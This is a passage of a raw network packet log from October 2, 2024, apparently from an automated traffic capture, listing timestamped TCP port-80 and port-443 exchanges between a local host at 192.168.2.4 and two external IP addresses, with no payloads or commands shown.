Oct 2, 2024 05:20:03.413119078 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413147926 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413228035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413239956 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413252115 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413295031 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413414001 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413431883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413444042 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413472891 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413645029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413686991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413698912 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413703918 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413717985 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413742065 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413775921 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413788080 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413820028 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413850069 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413861036 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413888931 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413902044 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.413985014 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.413996935 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414006948 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414019108 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414031029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414031029 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414041042 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414146900 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414288998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414300919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414310932 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414321899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414329052 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414341927 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414369106 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414516926 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414529085 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414539099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414551020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414561987 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414563894 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414585114 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414606094 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414617062 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414763927 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414797068 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.414836884 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414848089 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.414881945 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.468820095 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:03.468890905 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:03.469536066 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.469558001 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.469568968 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.469611883 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.469686985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.469698906 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.469711065 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.469746113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.469770908 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.469794035 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.469805002 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.469841957 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.471057892 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:03.471070051 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:03.471318007 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:03.472965002 CEST	49778	443	192.168.2.4	104.102.49.254
Oct 2, 2024 05:20:03.480412006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480427027 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480499983 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480504990 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.480504990 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.480539083 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.480540991 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480554104 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480657101 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480684996 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.480709076 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.480709076 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480720043 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480760098 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480770111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480799913 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.480879068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480891943 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480952024 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.480983019 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.480993986 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.481004000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.481034994 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.481046915 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.481117010 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.481126070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.481185913 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.491775990 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.491816998 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.491827011 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.491879940 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.491915941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.491926908 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.491929054 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.491939068 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.491950989 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.491954088 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.491964102 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.491981983 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492063999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492098093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492147923 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492153883 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492197037 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492274046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492285013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492301941 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492335081 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492335081 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492335081 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492393970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492404938 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492432117 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492444992 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492496967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492508888 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492537975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492549896 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492643118 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492655039 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492666960 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492677927 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492683887 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492690086 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492717028 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492717028 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492861032 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492899895 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492957115 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.492964029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492974997 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.492985964 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493022919 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493200064 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493211985 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493222952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493235111 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493244886 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493247032 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493253946 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493257046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493268967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493284941 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493307114 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493446112 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493494987 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493520021 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493535995 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493560076 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493575096 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493675947 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493686914 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493699074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493710041 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493730068 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493761063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493819952 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493830919 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.493856907 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.493880987 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.502958059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.502979040 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.502988100 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503010988 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503038883 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503052950 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503103971 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503120899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503133059 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503190041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503201962 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503266096 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503276110 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503308058 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503314972 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503326893 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503349066 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503371000 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503413916 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503453970 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503463984 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503474951 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503504992 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503515959 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503560066 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503597975 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503614902 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503626108 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503669024 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503740072 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503746033 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503782034 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503796101 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503808022 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503844976 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503935099 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503947973 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503957987 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.503987074 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.503998041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504031897 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504044056 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504081011 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504158020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504168034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504240036 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504250050 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504252911 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504283905 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504359961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504370928 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504383087 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504410982 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504421949 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504554987 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504566908 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504578114 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504589081 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504599094 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504607916 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504611015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504637003 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504647017 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504802942 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504848957 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504848957 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504863024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504874945 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.504878998 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504899025 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.504909039 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.505070925 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.505086899 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.505100012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.505140066 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.505156994 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.505181074 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.505219936 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.505290031 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.505300999 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.505350113 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.505362988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.505376101 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.505522013 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.519403934 CEST	443	49778	104.102.49.254	192.168.2.4
Oct 2, 2024 05:20:03.743674994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.743694067 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.743705988 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.743761063 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.743767023 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.743774891 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.743781090 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.743823051 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.743870020 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.743885994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.743896961 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.743942976 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744014025 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744024992 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744035006 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744052887 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744060993 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744065046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744076967 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744083881 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744100094 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744124889 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744302034 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744313955 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744451046 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744462013 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744472027 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744482994 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744493008 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744497061 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744504929 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744510889 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744514942 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744525909 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744534016 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744540930 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744546890 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744553089 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744558096 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.744560957 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.744596004 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.745158911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745172024 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745182037 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745192051 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745203018 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745213032 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745213032 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.745224953 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745243073 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745250940 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.745254040 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745258093 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.745265007 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745280981 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745284081 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745287895 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745290041 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.745295048 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745306015 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745316029 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745322943 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.745327950 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745340109 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745349884 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.745352030 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.745357990 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.745388985 CEST	49775	80	192.168.2.4	46.8.231.109
Oct 2, 2024 05:20:03.746141911 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746154070 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746164083 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746175051 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746185064 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746196032 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746206045 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746217012 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746227026 CEST	80	49775	46.8.231.109	192.168.2.4
Oct 2, 2024 05:20:03.746237993 CEST	80	49775	46.8.231.109	192.168.2.4
